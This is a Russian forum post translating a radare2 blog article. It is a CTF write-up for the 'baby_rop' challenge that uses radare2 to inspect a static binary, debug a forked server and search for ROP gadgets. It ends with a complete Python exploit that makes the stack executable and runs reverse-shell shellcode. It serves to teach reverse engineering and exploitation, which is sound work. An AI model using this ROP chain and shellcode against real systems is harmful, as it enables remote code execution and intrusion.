Многие просили пример использования radare2, но не такой детальный как этот или такой короткий как этот. В итоге было решено написать эту статью.
Данный бинарный файл является заданием "baby_rop" из небольшого CTF, что проходил во Франции, под названием - sthack
Запомните, если не знаете какая точно команда, то добавляйте символ `?` для получения справки.
Готовы? Вперёд!
Нет импортируемых функций. Статический бинарь?Code:$ r2 baby_rop Warning: Cannot initialize dynamic section -- Experts agree, security holes suck, and we fixed some of them! [0x08048e28]> ii [Imports] 0 imports
Отреверсить функцию main мы оставим в качестве домашнего задания для читателя. Это классический fork-сервер, говорящий "Hello!", спрашивающий размер и строку, и затем копирующий данные. Что же здесь может пойти не так?...Code:[0x08048e28]> iI~static static true [0x08048e28]> is~? 1982
Таким образом, нам нужен ROP путь для проникновения в систему. И мы её успешно нашли:
Здесь есть одна хитрость. Нет system и нет execve. Кажется, что мы должны сделать старую добрую ROP-цепочку, немного dup2 магии, записать строку /bin/sh куда-нибудь и вызвать её через execve.Code:[0x08048e28]> is~system vaddr=0x080d7a50 paddr=0x0008fa50 ord=084 fwd=NONE sz=20 bind=LOCAL type=OBJECT name=system_dirs [0x08048e28]> is~exec vaddr=0x080bd040 paddr=0x00075040 ord=908 fwd=NONE sz=2680 bind=LOCAL type=FUNC name=execute_stack_op vaddr=0x080bdf10 paddr=0x00075f10 ord=911 fwd=NONE sz=2203 bind=LOCAL type=FUNC name=execute_cfa_program vaddr=0x080ef1a8 paddr=0x000a71a8 ord=961 fwd=NONE sz=4 bind=GLOBAL type=OBJECT name=__have_o_cloexec vaddr=0x080a53d0 paddr=0x0005d3d0 ord=1092 fwd=NONE sz=90 bind=GLOBAL type=FUNC name=_dl_make_stack_executable vaddr=0x080eda14 paddr=0x000a5a14 ord=2141 fwd=NONE sz=4 bind=GLOBAL type=OBJECT name=_dl_make_stack_executable_hook [0x08048e28]>
Или мы можем проверить, что же делает функция _dl_make_stack_executable:
Это выглядит как простая обёртка к mprotect. И нам достаточно установить __stack_prot в 7, чтобы получить приятный и выполняемый стек.Code:[0x08048e28]> pdf @ sym._dl_make_stack_executable ╒ (fcn) sym._dl_make_stack_executable 90 │ ;-- sym._dl_make_stack_executable: │ 0x080a53d0 53 push ebx │ 0x080a53d1 89c3 mov ebx, eax │ 0x080a53d3 83ec18 sub esp, 0x18 │ 0x080a53d6 8b08 mov ecx, dword [eax] │ 0x080a53d8 a128da0e08 mov eax, dword [sym._dl_pagesize] ; [0x80eda28:4]=0x1000 ; sym._dl_pagesize │ 0x080a53dd 89c2 mov edx, eax │ 0x080a53df f7da neg edx │ 0x080a53e1 21ca and edx, ecx │ 0x080a53e3 3b0d64cf0e08 cmp ecx, dword [sym.__libc_stack_end] ; [0x80ecf64:4]=0 ; sym.__libc_stack_end │ ┌─< 0x080a53e9 752e jne 0x80a5419 │ │ 0x080a53eb 8b0dc4cf0e08 mov ecx, dword [sym.__stack_prot] ; [0x80ecfc4:4]=0x1000000 ; sym.__stack_prot │ │ 0x080a53f1 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x3010101 │ │ 0x080a53f5 891424 mov dword [esp], edx │ │ 0x080a53f8 894c2408 mov dword [esp + 8], ecx ; [0x8:4]=0 │ │ 0x080a53fc e81fa9fcff call sym.mprotect ; sym.__waitpid+0x1b90 │ │ sym.__waitpid() ; sym.__mprotect │ │ 0x080a5401 85c0 test eax, eax │ ┌──< 0x080a5403 751b jne 0x80a5420 │ ││ 0x080a5405 c70300000000 mov dword [ebx], 0 │ ││ 0x080a540b 31c0 xor eax, eax │ ││ 0x080a540d 830d18da0e08. or dword [sym._dl_stack_flags], 1 │ ┌ ; JMP XREF from 0x080a541e (sym._dl_make_stack_executable) │ ┌ ; JMP XREF from 0x080a5428 (sym._dl_make_stack_executable) │ ┌───> 0x080a5414 83c418 add esp, 0x18 │ │││ 0x080a5417 5b pop ebx │ │││ 0x080a5418 c3 ret │ ││└ ; JMP XREF from 0x080a53e9 (sym._dl_make_stack_executable) │ ││└─> 0x080a5419 b801000000 mov eax, 1 │ └───< 0x080a541e ebf4 jmp 0x80a5414 │ └ ; JMP XREF from 0x080a5403 (sym._dl_make_stack_executable) │ └──> 0x080a5420 b8d4ffffff mov eax, 0xffffffd4 ; -44 │ 0x080a5425 658b00 mov eax, dword gs:[eax] ╘ 0x080a5428 ebea jmp 0x80a5414 [0x08048e28]>
Теперь рассмотрим, что нам нужно сделать, чтобы перезаписать адрес возврата:
В другом окне запустим атакующий клиент:Code:$ r2 -d rarun2 program=./baby_rop arg1=4444 Process with PID 3630 started... PID = 3630 pid = 3630 tid = 3630 r_debug_select: 3630 3630 Using BADDR 0x400000 Asuming filepath /usr/local/bin/rarun2 bits 64 pid = 3630 tid = 3630 -- Enable ascii-art jump lines in disassembly by setting 'e asm.lines=true'. asm.linesout and asm.linestyle may interest you as well [0x7fdf3649ccd0]> e dbg.forks = true # we want to "follow" forks pid = 3630 tid = 3630 [0x7fdf3649ccd0]> dc r_debug_select: 3630 1 [0x08048e28]> dc [+] Socket created.
Вернёмся в первое с radare2:Code:echo "1234`ragg2 -P 100 -r`" | nc 127.0.0.1 4444
В итоге наш шеллкод будет выглядеть следующим образом:Code:[+] Listening on 4444. [+] New client : 127.0.0.1 [0xf770ac10]> dp Selected: 3630 1 * 3630 s (current) - 3629 s (ppid) - 3633 s ./baby_rop [0xf770ac10]> dpa 3633 pid = 3633 tid = 3633 r_debug_select: 3633 3633 [0xf770ac10]> dc [+] SIGNAL 11 errno=0 addr=0x41574141 code=1 ret=0 r_debug_select: 3633 1 [+] signal 11 aka SIGSEGV received 0 [0x41574141]> dr= r15 0x00000000 r14 0x00000000 r13 0x00000000 r12 0x00000000 rbp 0x56414155 rbx 0x41415441 r11 0x00000000 r10 0x00000000 r9 0x00000000 r8 0x00000000 rax 0xffffffff rcx 0xffebd890 rdx 0x00000065 rsi 0x080ed00c rdi 0x08049b30 orax 0xffffffffffffffff rip 0x41574141 rflags = 1PSIV rsp 0xffebd920 [0x41574141]> woO 0x41574141 64 [0x41574141]>
Полезная нагрузка же будет такая:Code:[число][забитые 64 бита][полезная нагрузка]
1. Установить глобальную переменную `__stack_prot` в 7:
- Установить регистр в 0xfffffff (без NULL байтов)
- Увеличить 8 раз, чтобы стало равно 7
- Переписать `__stack_prot` им
2. Вызвать `_dl_make_stack_executable` на стек
3. Прыгнуть на `esp`
Без первой введённой команды, radare2 вернёт нам строку вида: `pop ebx; mov eax, 3; ret;`. Вторая команда - потому что мы хотим один гаджет с резервной копией в случае NULL байта в смещение.Code:[0x08048e28]> e rop.len = 2 [0x08048e28]> e search.count = 2 [0x08048e28]> "/R/ pop ebx;ret" 0x080481c5 5b pop ebx 0x080481c6 c3 ret 0x0804d826 5b pop ebx 0x0804d827 c3 ret [0x08048e28]>
Команды, которые мы ищем, заключаются в двойные кавычки, потому что символ `;` используется для цепочек обычных r2 команд, а кавычки помогают найти только то, что нам надо.
Так как мы ленивые, мы воспользуемся регулярным выражением, чтобы найти другие гаджеты:
Поиск другого нужного гаджета оставляем на плечах читателя:Code:[0x08048e28]> "/R/ pop e[dca]x;ret" 0x0806da92 5a pop edx 0x0806da93 c2fdff ret 0xfffd 0x08070f9c 5a pop edx 0x08070f9d c3 ret 0x08083ca3 59 pop ecx 0x08083ca4 c3 ret 0x080abee4 58 pop eax 0x080abee5 cb retf 0x080bf3b6 58 pop eax 0x080bf3b7 c3 ret 0x080dcabf 5a pop edx 0x080dcac0 cb retf 0x080dd55f 58 pop eax 0x080dd560 cb retf 0x080dda1a 59 pop ecx 0x080dda1b cf iretd 0x080e799e 58 pop eax 0x080e799f c3 ret 0x080e8d98 58 pop eax 0x080e8d99 c3 ret 0x080ea630 58 pop eax 0x080ea631 c20000 ret 0 0x080eae30 58 pop eax 0x080eae31 ca0000 retf 0 0x080eb330 58 pop eax 0x080eb331 cf iretd [0x08048e28]>
Ниже приведён готовый эксплойт:
Напоминаем, что добавив символ `?`, ты сможешь узнать, что каждая команда в r2 делает. Это позволит понять и воспроизвести эксплойт с нуля.Code:#!/usr/bin/python import struct import socket # Reverse shell on localhost:1337 shellcode = (b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80" b"\x92\xb0\x66\x68" b"\x7f\x01\x01\x01" # ip-аддрес b"\x66\x68" b"\x05\x39" # Порт b"\x43\x66\x53\x89" b"\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0" b"\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73" b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"); def rop(*args): return struct.pack('I'*len(args), *args) s = socket.create_connection(('localhost', 5555)) s.recv(1337) payload = rop(1337) + 'A' * 64 # padding # Установить __stack_prot в 7 payload += rop( 0x08070f9c, # pop edx; ret; 0x080ecfc4, # __stack_prot 0x08083ca3, # pop ecx; ret; 0xffffffff, # -1 ) for i in range(0, 8): payload += rop(0x080de4ee) # inc ecx; ret; 8 times payload += rop(0x080e5efa) # add dword ptr [edx], ecx # Делаем наш стек выполняем и прыгаем на шеллкод payload += rop( 0x080bf3b6, # pop eax; ret; 0x080ecf64, # _libc_stack_end 0x080a53d0, # _dl_make_stack_executable 0x080c4bb3 # call esp ) payload += shellcode s.send(payload + '\n')
Перевод статьи из официального блога radare.today. Special for reverse4you.org
P.S. Если найдете баги или знаете как улучшить radare2, то пишите issue в github-проекте или мне в ПМ.
P.S.S. Вводная статья про radare2



Reply With Quote
Thanks
